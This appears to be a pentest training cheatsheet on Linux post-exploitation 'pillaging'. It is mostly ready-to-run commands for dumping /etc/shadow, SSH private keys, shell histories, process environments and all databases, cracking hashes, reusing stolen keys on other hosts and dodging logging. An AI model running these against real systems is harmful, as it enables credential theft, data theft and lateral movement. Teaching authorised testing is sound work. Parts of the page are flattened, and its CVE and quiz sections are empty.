Linux Pillaging
Cheatsheet
# Dump password hashes for crackin
cat /etc/shadow
# Hunt every private SSH key on the box
find / \( -name "id_rsa*" -o -name "id_ed25519*" -o -name "id_ecdsa*" -o -name "id_dsa*" \) 2>/dev/null
# Admin command history (creds, hosts, one-liners)
cat /root/.bash_history /root/.zsh_history /home/*/.bash_history 2>/dev/null
# Grep web/app/system trees for password strings
grep -rniE "password|passwd|secret|api[_-]?key" /var/www /etc /opt /srv 2>/dev/null
# Web app DB configs (highest-value foothold creds)
find /var/www -name "wp-config.php" -o -name ".env" -o -name "config.php" -o -name "database.yml" 2>/dev/null
# Process environment variables (often hold secrets)
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret|token"
# mysql config
cat /etc/mysql/debian.cnf
# Dump every database once you have creds
mysqldump -u <USER> -p<PASS> --all-databases > all_databases.sql
# Map the next targets
cat /etc/hosts /root/.ssh/known_hosts 2>/dev/null; arp -a; ip neigh
# Find unmounted partitions hiding data
lsblk; blkid; cat /etc/fstab
# Run LinPEAS with full root visibility, keep the log
bash linpeas.sh -a 2>&1 | tee linpeas_root.txtMethodology
Pillaging happens after privilege escalation. Confirm you actually have the
read access you need (id, cat /etc/shadow) before assuming a file is
missing. If a “missing” file is really a permissions error, you are not as
privileged as you think.
Phase 0: Orientation
Ask youself
- Who am I now, and does my privilege actually let me read
/etc/shadow, other users’ homes, and/proc/*/environ? - What OS, distro, and role is this host (web server, DB server, jump box, DC-adjacent), and what data does that role imply?
- What is watching me ? auditd, EDR, shell-history logging and what is the OPSEC cost of a full
find /sweep? - What can this foothold reach that my attack box could not (internal subnets, NFS/SMB mounts, DB sockets)?
- Which credential or key, if found here, most cheaply unlocks the next host?
# Is logging/EDR watching
systemctl is-active auditd 2>/dev/null; ls -la /var/log/audit 2>/dev/null- Confirm identity and read access (
id; test-read/etc/shadow). - Fingerprint the host role from hostname,
os-release, and listening services. - Note logging/EDR presence before launching noisy file sweeps.
- List reachable interfaces, sockets, and mounts that the attack box cannot touch.
- Decide which target (creds vs SSH keys vs DB) to pursue first based on the host’s role.
Phase 1: Harvest Credentials & Keys
Ask youself
- Which credential stores are readable now that were locked before privesc (
/etc/shadow, other users’ homes,/proc/*/environ)? - Do history files, app configs, or process environments leak plaintext I can reuse immediately?
- Whose SSH private keys live here, and are any of them root’s or an admin’s ? and where do
known_hosts/.ssh/configsay they connect? - For an encrypted key or a hash, is offline cracking worth the time, or do I already hold a reusable plaintext?
- Has every secret found here been queued to spray against other hosts and services in Phase 3?
# Password hashes
cat /etc/shadow
cat /etc/shadow | grep -vE ':[*!]:' > hashes.txt
# History files (root first, then all users)
cat /root/.bash_history /root/.zsh_history 2>/dev/null
cat /home/*/.bash_history /home/*/.zsh_history 2>/dev/null
grep -iE "pass|secret|key|mysql|ssh|scp|curl|wget" /root/.bash_history 2>/dev/null
# App + service configs and process environments that hold real creds
grep -i "DB_PASSWORD" /var/www/*/wp-config.php 2>/dev/null
find /var/www -name ".env" -exec cat {} \; 2>/dev/null
cat /etc/mysql/debian.cnf 2>/dev/null
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret|token|api"
# Locate and read every private SSH key (root/admin first)
find / \( -name "id_rsa*" -o -name "id_ed25519*" -o -name "id_ecdsa*" \) 2>/dev/null
cat /root/.ssh/id_rsa 2>/dev/null
for u in /home/*; do echo "=== $u ==="; cat "$u"/.ssh/id_rsa 2>/dev/null; done
# Where do those keys go, and who can come in?
cat /root/.ssh/known_hosts /root/.ssh/config 2>/dev/null
cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys 2>/dev/null- Dump
/etc/shadow; filter out*/!entries before cracking (those are disabled accounts). - Read root and all user history files; extract any inline
-p<PASS>orexportsecrets. - Pull DB/service passwords from web app configs (
wp-config.php,.env,config.php) and sweep/proc/*/environfor tokens/API keys. - Find and read all private keys; for each, check
known_hosts/.ssh/configfor intended destinations andauthorized_keysfor persistence/impersonation. - If a key or hash is encrypted, run
ssh2john/pick the right hashcat mode (see Reference) but reuse a harvested plaintext first. - Record every plaintext, hash, and
chmod 600key copy, and flag it for reuse in Phase 3.
Phase 2: Pillage Databases & Stored Data
Ask youself
- Which DB engines are listening (from Phase 0), and can I authenticate with creds harvested in Phase 1 or as a local socket/peer superuser?
- Do application user tables store crackable password hashes worth feeding back to Phase 1?
- Are there unmounted partitions, NFS/SMB mounts, backups, or
.githistories hiding data the live files no longer show? - Which artifacts prove impact for the report (PII, secrets) versus which just feed further access?
- Should I dump everything now (loud but complete) or query targeted tables/files (quiet)?
# MySQL/MariaDB: socket/maintenance auth then full dump
mysql -u root # try no-password first
mysqldump -u root -p --all-databases > all_databases.sql
# PostgreSQL: local superuser via peer auth
sudo -u postgres psql -c '\l'
pg_dumpall > pg_all.sql
# SQLite: no service needed, just the file
find / \( -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" \) 2>/dev/null
sqlite3 <FILE> .tables
# Storage the live mount might hide
lsblk; blkid; cat /etc/fstab
# Backups, archives, version control, and user/app data
find / \( -name "*.bak" -o -name "*.old" -o -name "*.tar.gz" -o -name "*.zip" \) 2>/dev/null
find / -name ".git" -type d 2>/dev/null
ls -la /var/mail /var/spool/mail 2>/dev/null- Authenticate to each engine (MySQL/MariaDB, PostgreSQL, SQLite, MongoDB) with harvested creds, no-password, or local socket/peer auth before brute force.
- Locate app user tables, extract password hashes for cracking, and feed any reused passwords back to Phase 1.
- Enumerate block devices and
fstab; mount any unmounted partition to a scratch dir. - Sweep backup/archive files and
.gitrepos for secrets; collect user/app data (web roots, mail spools, browser profiles, VPN configs). - Dump targeted tables/files when stealth matters, full
--all-databases/pg_dumpallwhen it does not; save everything to evidence storage with provenance.
Phase 3: Network Recon & Lateral Targets
Ask youself
- What other hosts does this box know about (
/etc/hosts,known_hosts, ARP, routes)? - Which internal services and shares are reachable from here that my attack box cannot hit directly?
- Which harvested credential/key maps to which discovered host ? what is the most likely reuse pair?
- Do I need a pivot/tunnel (ligolo-ng/chisel) to reach a newly discovered subnet?
- What is the safest order to test reuse so I do not trip lockouts on the next host?
# Who does this host already know?
cat /etc/hosts; cat /root/.ssh/known_hosts 2>/dev/null
arp -a; ip neigh; ip route
# What's listening / connected internally
ss -tulnp 2>/dev/null || netstat -tulnp 2>/dev/null
# Mounted or exported shares = other systems
grep -iE "nfs|cifs|smb" /etc/fstab; cat /etc/exports 2>/dev/null
showmount -e localhost 2>/dev/null- Build a target list from
/etc/hosts,known_hosts, ARP/neighbour cache, and routes. - Enumerate reachable internal services and NFS/SMB shares from this vantage point.
- Pair each harvested credential/key with a candidate host before testing.
- Stand up a pivot (
ligolo-ng,chisel,proxychains) if a new subnet is only reachable from here. - Confirm lockout policy, then spray reused creds start with SSH keys before passwords.
Phase 4: Automated Sweep & Re-check
Ask youself
- Did manual collection miss anything an automated sweep with full root visibility would catch?
- Are there kernel/service exploit paths only visible now that I can read root-only configs?
- Does the tool output corroborate or contradict my manual findings what do I trust?
- Have I captured tool logs as evidence rather than relying on scrollback?
- Is there a persistence or cleanup step required before I move to the next host?
# Full-visibility sweep, keep the log as evidence
bash linpeas.sh -a 2>&1 | tee linpeas_root.txt
# Re-run exploit suggester now that root-only configs are readable
./linux-exploit-suggester.sh 2>&1 | tee les_root.txt- Run LinPEAS with
-aas root and save the log; diff against pre-privesc findings. - Re-run a kernel exploit suggester now that root-only config is readable.
- Reconcile automated hits with manual findings; manually validate anything important.
- Archive all tool logs to evidence storage with timestamps.
- Decide on persistence/cleanup before pivoting onward.
Reference
What pillaging buys you
With root you can read every credential store on the box. The point is not “having root” it is converting that into access elsewhere.
- Extract credentials and hashes for reuse and cracking.
- Recover SSH private keys for pivoting to managed hosts.
- Dump databases for user data, hashes, and PII.
- Identify and reach other systems on the internal network.
- Gather concrete evidence (paths, dumps, screenshots) for the report.
Credential reuse is the highest-yield move in pillaging. Admins and developers reuse passwords across services and hosts a database password is frequently also an SSH or sudo password. Try every secret everywhere before falling back to cracking or brute force.
Hash cracking quick reference
Identify the algorithm from the $id$ prefix in /etc/shadow, then pick the
matching mode.
| Shadow prefix | Algorithm | hashcat mode | john format |
|---|---|---|---|
$1$ | MD5crypt | 500 | md5crypt |
$5$ | SHA-256crypt | 7400 | sha256crypt |
$6$ | SHA-512crypt | 1800 | sha512crypt |
$2b$ / $2y$ | bcrypt | 3200 | bcrypt |
$y$ | yescrypt | unsupported | crypt (john) |
# Combine passwd + shadow, then crack with john
unshadow /etc/passwd /etc/shadow > unshadow.txt
john --wordlist=/usr/share/wordlists/rockyou.txt unshadow.txt
# Or crack a single format with hashcat
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txtyescrypt ($y$) is the default on Debian 11+/Ubuntu 22.04+ and is not
GPU-crackable in hashcat. Use john (CPU) and expect it to be slow; prefer
reusing a plaintext you already harvested.
SSH key reuse
# Copy a found key off the box and fix perms
chmod 600 root_key
# Crack an encrypted key's passphrase
ssh2john root_key > key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt key.hash
# Test against discovered hosts
ssh -i root_key root@<TARGET_IP> -o StrictHostKeyChecking=noService config credential locations
| Service | File(s) |
|---|---|
| MySQL/MariaDB | /etc/mysql/debian.cnf, /etc/mysql/my.cnf |
| WordPress | /var/www/*/wp-config.php |
| Generic web app | .env, config.php, database.yml, settings.py |
| Samba | /etc/samba/smb.conf |
| FTP | /etc/vsftpd.conf, /etc/proftpd/proftpd.conf |
| HTTP basic auth | /etc/apache2/.htpasswd, /etc/nginx/.htpasswd |
| Postfix SASL | /etc/postfix/sasl_passwd |
| LDAP | /etc/ldap/ldap.conf |
Security mechanism enumeration
Knowing what is enforced explains why an action failed and shapes the next move.
| Mechanism | Check command |
|---|---|
| AppArmor | aa-status |
| SELinux | sestatus, getenforce |
| ASLR | cat /proc/sys/kernel/randomize_va_space |
| Firewall | iptables -L -n, ufw status |
| User namespaces | cat /proc/sys/kernel/unprivileged_userns_clone |
Notable local privesc / kernel CVEs
Re-checking as root can surface paths that were invisible pre-privesc.
Quiz
You have root on a web server and recover the WordPress DB password from wp-config.php. What is the highest-value next move?
Quiz